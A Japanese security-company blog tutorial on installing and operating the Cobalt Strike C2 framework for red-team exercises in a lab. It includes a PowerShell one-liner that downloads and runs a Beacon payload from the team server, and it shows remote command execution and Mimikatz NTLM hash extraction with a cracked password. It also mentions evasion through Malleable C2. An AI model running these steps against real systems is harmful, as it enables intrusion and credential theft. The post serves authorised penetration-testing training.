Japan
サイト内の現在位置
Cobalt Strikeを使ってみよう
NECセキュリティブログ2025年8月1日
NECサイバーセキュリティ技術統括部セキュリティ技術センターの外山です。
今回はペネトレーションテストやレッドチーム演習に便利なCobalt Strikeについてご紹介します。
Cobalt Strikeは高度な機能を持ちますが、今回はインストールから遠隔操作までの流れを簡単に紹介します。また、Cobalt Strikeの扱い方に習熟するためにおすすめの教材についても紹介します。
目次
- 1.Cobalt Strikeとは
- 1-1.Cobalt Strikeの機能概要
- 2.検証環境
- 3.Cobalt Strikeのインストール
- 3-1.Team Serverのインストール
- 3-2.Clientのインストール
- 4.Cobalt Strikeの使い方
- 4-1.Team Serverの起動
- 4-2.Team Serverへの接続
- 4-3.HTTP Listenerの設定
- 4-4.Beaconの生成
- 4-5.ファイルのホスト
- 4-6.Beaconの起動
- 4-7.runコマンドによる遠隔操作
- 4-8.Mimikatzによる資格情報の窃取
- 4-9.高度な設定について
- 5.Cobalt Strikeに関連する教材
- 5-1.Red Team Ops
- 5-2.Red Team Ops II
- 6.最後に
- 7.参考文献
Cobalt Strikeとは
Cobalt Strikeは攻撃者のシミュレーションやレッドチーム演習に使用可能なC2フレームワークです[1]。
実際の攻撃者が使用する手法をシミュレーションすることで、レッドチーム演習を高度かつ効率的に行い、組織の防御態勢の評価に役立てることができます。
Cobalt Strikeの機能概要
Cobalt Strikeの基本的な動作を理解する上でTeam Server、Client、Beaconの3つのコンポーネントを理解することが重要です。
Team ServerはBeaconの制御を行うサーバーとして、Beaconに対する指示や、Beaconから抽出したデータの保存等を担当します。
Clientはオペレーターが実際に操作するGUIとして、Team Serverに接続し、Listener(後述します)の設定やBeaconの生成、Team Serverを経由したBeaconに対する操作を行います。
Beaconはターゲットの端末上で動作するエージェントプログラムで、Team Serverから指示を受け取り、コマンド実行や各種モジュール実行を行います。

検証環境
今回はTeam Server、Client、Victimの3台のマシンを使用します。なお、今回は簡単なデモのためMicrosoft Defenderを無効化しています。
加えて、DNSサーバーやリダイレクタ等の設定は省略し簡略化しています。

Cobalt Strikeのインストール
Team Serverのインストール
sudo apt-get update
sudo apt-get install openjdk-11-jdk
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
以下の通りJavaがインストールできました。

続いてCobaltStrikeをインストールします。
Cobalt Strikeのライセンスを契約すると、インストーラのダウンロードリンクとライセンスキーを受け取ることができます。cobaltstrike-dist-linux.tgzをダウンロードし、インストール先のサーバーに保存します。
tgz形式で圧縮されているインストーラを、以下の通り展開します。

続いてインストールしたCobaltStrikeのアップデートを行います。このとき、契約時に受領したライセンスキーを入力する必要があります。

これでTeam Serverのインストールは完了です。Javaをインストールし、圧縮ファイルを展開して更新プログラムを実行するだけなので、簡単にインストールすることができます。
Clientのインストール
Team Serverに続いて、Clientのインストールを行います。Clientは攻撃者を模した診断員が実際に操作するGUIです。
最初にJavaをインストールします。https://jdk.java.net/archive/からJDKを入手します。

C:\Program Files配下にzipファイルを展開します。

環境変数には、展開したパスである「C:\Program Files\jdk-24.0.1\bin」
を追加します。

Team Serverと同様に、ダウンロードリンクからcobaltstrike-dist-windows.zipをダウンロードし、Clientのインストール先のマシンに転送します。

転送したzipファイルを展開し、update.batを実行します。

これでClientのインストールも完了しました。
Cobalt Strikeの使い方
Team Serverの起動
コマンド「./teamserver [Team ServerのIPアドレス] [TeamServerに接続するためのパスワード]」で起動します。

Team Serverへの接続
ClientからTeam Serverに接続します。HostにはTeam ServerのIPアドレス、Portはデフォルトの50050、ユーザーは任意のユーザー名、PasswordはTeam Serverを起動する際にコマンドで指定したパスワードを入力します。

接続に成功すると以下のような画面が表示されます。

HTTP Listenerの設定
Listenerでは、Team ServerとBeaconが通信するためのC2チャネルを設定します[6]。ListenerにはDNS、HTTP/HTTPS、SMB、TCP等が存在します。
今回はHTTP Listenerを使用します。[Cobalt Strike]>[Listeners]を選択し、Listenersタブを表示し、[Add]を押下します。

新しいListenerを作成する画面が開くので、Nameを任意の分かりやすい名前、PayloadをBeacon HTTP、HTTP HostsにTeam ServerのIPアドレスを入力し、[OK]を押下します。

HTTP Listenerを設定することにより、Team ServerでHTTPを使用したC2通信の準備が整いました。
Beaconの生成
Beaconは標的のマシン上で動作するプログラムです[7]。Team Serverと定期的に通信を行い、コマンドの受信・実行・結果送信を行う役割を担います。
[Payloads]>[Windows Stageless Generate All Payloads]を選択します。

保存先を指定し[Generate]を押下します。

Beaconの生成に成功すると、複数のファイルが保存されていることが確認できます。すべてがHTTPを使用してTeam Serverと接続するプログラムであり、形式が異なるだけですが、今回はPowerShellを使用するhttp_x64.ps1を使用します。

ファイルのホスト
Team Server上で、HTTPサーバーとしてファイルをホストすることができます。今回はhttp_x64.ps1を標的に渡すために、ファイルのホスト機能を使用します。

Fileに先ほど生成したhttp_x64.ps1を指定し、Local URIに/http_x64.ps1を指定します。
これにより、http://192.168.100.2/http_x64.ps1としてhttp_x64.ps1をダウンロードすることができます。


Beaconの起動
標的のマシンでBeaconを起動します。
http://192.168.100.2/http_x64.ps1をダウンロードし実行するために、管理者として起動したPowerShellで以下のコマンドを実行します。
iex(new-object net.webclient).downloadstring('http://192.168.100.2/http_x64.ps1')

Beaconが起動すると、Team ServerとBeaconが接続されたことをClientの画面で確認することができます。

runコマンドによる遠隔操作
Beaconに対してrunコマンドを実行すると、標的のマシン上でコマンドを実行することができます。ここでは例としてwhoamiコマンドを実行しています。

Mimikatzによる資格情報の窃取
Cobalt Strikeには様々な機能がありますが、例としてMimikatzによる資格情報の窃取を紹介します。
lsadump::samはWindowsのSecurity Account ManagersのデータベースからNTLMハッシュを抽出するコマンドです[8]。

例えば以下の通り、managerユーザーのNTLMハッシュが6c67120987370c29d821326f086aec35であることを特定できたとします。

得られたNTLMハッシュに対し、John The RipperやHashcat等のオフライン解析ツール、あるいはCrackStation.net等のようなオンライン解析ツールを使用することで、managerユーザーのパスワードが「RememberMe」であることがわかります。
高度な設定について
Cobalt Strikeは高度で複雑なツールですが、今回はインストールから使い方までの流れに焦点を当て簡単に紹介しました。そのため、Cobalt Strikeが持つ本来の高度な機能については多くを紹介していません。
今回の検証環境ではMicrosoft Defenderを無効化しました。ただし、実際の環境ではMicrosoft DefenderだけでなくEDRも導入され、SOCが怪しい動きがないか監視していることが多いです。そのような場合、Cobalt StrikeではMalleable C2[9]というTeam ServerやBeaconの挙動を柔軟に変更できる設定ファイルを使用することができます。これにより、正規の通信や特定のAPTを模倣し、組織の防御をかいくぐることが可能となります。また「Arsenal Kit」と呼ばれる、検知回避能力強化用のツールキットを使用して動作をカスタマイズすることもできます。
高度な使い方について興味がある方は、機能紹介[10]や公式ドキュメント
[1]を眺めてみることをおすすめします。
Cobalt Strikeに関連する教材
Red Team Ops
Red Team Ops II
Red Team Ops II[18]はRed Team Opsの内容を前提に、OPSEC(運用セキュリティ)戦術と防御バイパス戦略を学びます。Red Team OpsではMicrosoft Defenderの回避のみが必要でしたが、IIになるとElasticを回避します。標的のマシンにも追加の保護対策が施され、それらを回避する必要が出てきます。
執筆時点では新プラットフォームで公開されておらず「Coming soon...」と表示されています[19]が、近々公開されると思われるので、EDR回避等の高度な扱い方を学びたい方はRed Team Ops IIまで学ぶと良いと思います。
先日Red Team Lead[20]に合格しましたが、十分に下準備を行えば試験を楽しむことができると思います。
最後に
複雑化・高度化するサイバー攻撃に対応するには、我々も常に技術を研鑽し続けることが必要です。
Cobalt Strikeは組織の防御力を測る目的で使うと便利なツールです。今回は簡単に使い方と勉強方法を紹介しましたが、カスタマイズを含む高度な使い方は習得に時間がかかります。本記事がCobalt Strikeを理解する一助となれば幸いです。
参考文献
- [1]
- [2]Cobalt Strike Installation Guide
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/cobalt-strike-install.pdf
- [3]Request a Trial of Cobalt Strike | Cobalt Strike Features
https://www.cobaltstrike.com/product/trial
- [4]
- [5]
- [6]Listener and Infrastructure Management
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/listener-infrastructure_main.htm#_Toc65482732
- [7]Cobalt Strike Beacon | Cobalt Strike Features
https://www.cobaltstrike.com/product/features/beacon
- [8]module ~ lsadump · gentilkiwi/mimikatz Wiki
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
- [9]Malleable C2 | Cobalt Strike Features
https://www.cobaltstrike.com/product/features/malleable-c2
- [10]Features | Beacon, C2 Profiles, Arsenal Kit, and More | Cobalt Strike
https://www.cobaltstrike.com/product/features
- [11]Cobalt Strike Pricing - Cobalt Strike
https://www.cobaltstrike.com/product/pricing-plans
- [12]
- [13]Cobalt Strike Training Resources | Cobalt Strike
https://www.cobaltstrike.com/support/training
- [14]Red Team Ops:Cobalt Strikeを用いたレッドチーム演習のトレーニングと資格
https://jpn.nec.com/cybersecurity/blog/241206/index.html - [15]New Site Launch
https://www.zeropointsecurity.co.uk/blog/new-site-launch
- [16]Red Team Operator - Canvas Badges
https://eu.badgr.com/public/assertions/A7BdwkA4QAqQ-kCi6Hbm8Q
- [17]Red Team Operator・Taku Toyama・Zero-Point Security
https://eu.credential.net/49d7e2f9-ded2-4b59-ba34-e13b9844c73c
- [18]
- [19]
- [20]Red Team Lead - Canvas Badges
https://eu.badgr.com/public/assertions/XWDPmHa3QeuWHasyrcSBNQ
執筆者プロフィール
外山 拓(とやま たく)
担当領域:リスクハンティング
脆弱性診断やペネトレーションテストを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内に還元している。
情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP,OSWE,OSDA/IPA(ES,SC,NW)/AWS(SAP,SCS)/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。

執筆者の他の記事を読む
アクセスランキング